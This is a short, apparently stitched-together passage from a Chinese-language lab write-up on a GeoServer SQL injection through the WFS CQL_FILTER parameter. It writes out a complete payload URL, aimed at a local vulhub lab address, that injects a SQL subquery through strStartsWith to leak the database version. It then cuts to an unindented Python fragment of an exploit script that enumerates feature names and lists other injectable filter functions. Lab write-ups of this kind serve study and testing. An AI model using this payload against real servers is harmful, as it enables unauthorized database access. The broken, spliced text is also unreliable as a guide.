4.构造SQL 注入
Feature type (table) name: vulhub:example
One of attribute from feature type: name
利用这些已知参数,拼接成payload:
http://192.168.43.161:8080/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=vulhub:example&CQL_FILTER=strStartsWith(name,%27x%27%27)%20=%20true%20and%201=(SELECT%20CAST%20((SELECT%20version())%20AS%20integer))%20–%20%27)%20=%20true
names = [feature_type.findtext('{http://www.opengis.net/wfs}Name') for feature_type in feature_types]
# Print the feature names
print(f"{GREEN}Available feature names:{ENDC}")
for name in names:
print(f"- {name}")
# Send requests for each feature name and CQL_FILTER type
cql_filters = [
"strStartsWith"] # We can also exploit other filter/functions like "PropertyIsLike", "strEndsWith", "strStartsWith", "FeatureId", "jsonArrayContains", "DWithin" etc.